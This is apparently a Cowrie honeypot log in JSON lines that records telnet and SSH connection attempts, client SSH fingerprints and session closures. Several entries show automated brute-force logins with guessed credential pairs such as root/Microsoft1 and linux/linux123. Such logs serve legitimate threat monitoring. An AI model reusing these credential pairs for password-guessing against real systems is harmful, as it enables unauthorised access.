{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":46880,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e799d7faab","protocol":"telnet","message":"New connection: 167.71.238.254:46880 (10.17.0.5:23) [session: 87e799d7faab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:22.178757Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.224.169.1","src_port":35298,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa7304f0e58e","protocol":"telnet","message":"New connection: 5.224.169.1:35298 (10.17.0.5:23) [session: aa7304f0e58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:39.499035Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":51520,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2060b6d567d","protocol":"telnet","message":"New connection: 167.71.238.254:51520 (10.17.0.5:23) [session: a2060b6d567d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:43.609391Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":54890,"dst_ip":"159.203.135.109","dst_port":22,"session":"f304a5d593e1","protocol":"ssh","message":"New connection: 135.235.138.43:54890 (159.203.135.109:22) [session: f304a5d593e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:43.660103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:43.668242Z","src_ip":"135.235.138.43","session":"f304a5d593e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:43.857338Z","src_ip":"135.235.138.43","session":"f304a5d593e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Microsoft1","message":"login attempt [root/Microsoft1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:44.651565Z","src_ip":"135.235.138.43","session":"f304a5d593e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":49274,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd559649fbd2","protocol":"ssh","message":"New connection: 40.78.155.180:49274 (10.17.0.5:22) [session: fd559649fbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:45.839802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:45.846555Z","src_ip":"40.78.155.180","session":"fd559649fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:45.858066Z","src_ip":"135.235.138.43","session":"f304a5d593e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:45.897843Z","src_ip":"40.78.155.180","session":"fd559649fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":57382,"dst_ip":"10.17.0.5","dst_port":22,"session":"20fa53cff37f","protocol":"ssh","message":"New connection: 177.234.174.18:57382 (10.17.0.5:22) [session: 20fa53cff37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:46.117118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:46.122273Z","src_ip":"177.234.174.18","session":"20fa53cff37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"garibaldi","message":"login attempt [root/garibaldi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:46.131777Z","src_ip":"40.78.155.180","session":"fd559649fbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:46.257829Z","src_ip":"177.234.174.18","session":"20fa53cff37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mehdi123456","message":"login attempt [root/mehdi123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:46.825165Z","src_ip":"177.234.174.18","session":"20fa53cff37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:47.186508Z","src_ip":"40.78.155.180","session":"fd559649fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:47.968715Z","src_ip":"177.234.174.18","session":"20fa53cff37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":58794,"dst_ip":"159.203.135.109","dst_port":22,"session":"945fd970c5ba","protocol":"ssh","message":"New connection: 160.22.18.220:58794 (159.203.135.109:22) [session: 945fd970c5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:49.342602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:49.347358Z","src_ip":"160.22.18.220","session":"945fd970c5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:49.590504Z","src_ip":"160.22.18.220","session":"945fd970c5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vertica","message":"login attempt [root/vertica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:50.596380Z","src_ip":"160.22.18.220","session":"945fd970c5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.643585443496704,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:50.822215Z","src_ip":"167.71.238.254","session":"87e799d7faab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:51.836486Z","src_ip":"160.22.18.220","session":"945fd970c5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":52892,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8f85d9cd65c","protocol":"ssh","message":"New connection: 43.156.212.86:52892 (10.17.0.5:22) [session: d8f85d9cd65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:53.900884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:53.905792Z","src_ip":"43.156.212.86","session":"d8f85d9cd65c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:54.152292Z","src_ip":"43.156.212.86","session":"d8f85d9cd65c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matrix","message":"login attempt [root/matrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:55.167650Z","src_ip":"43.156.212.86","session":"d8f85d9cd65c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:00:56.417184Z","src_ip":"43.156.212.86","session":"d8f85d9cd65c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f6acedfc01d","protocol":"ssh","message":"New connection: 152.32.172.177:38424 (10.17.0.5:22) [session: 2f6acedfc01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:09.877575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:09.882412Z","src_ip":"152.32.172.177","session":"2f6acedfc01d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:10.100325Z","src_ip":"152.32.172.177","session":"2f6acedfc01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:10.983731Z","src_ip":"152.32.172.177","session":"2f6acedfc01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:12.201192Z","src_ip":"152.32.172.177","session":"2f6acedfc01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.238.240.3","src_port":30946,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e79b9375878","protocol":"ssh","message":"New connection: 34.238.240.3:30946 (159.203.135.109:22) [session: 1e79b9375878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:23.735110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:25.538659Z","src_ip":"34.238.240.3","session":"1e79b9375878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:25.543184Z","src_ip":"34.238.240.3","session":"1e79b9375878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.196.135.116","src_port":39968,"dst_ip":"159.203.135.109","dst_port":22,"session":"04c32dfd5ca8","protocol":"ssh","message":"New connection: 175.196.135.116:39968 (159.203.135.109:22) [session: 04c32dfd5ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:27.076761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:27.082754Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:27.743230Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
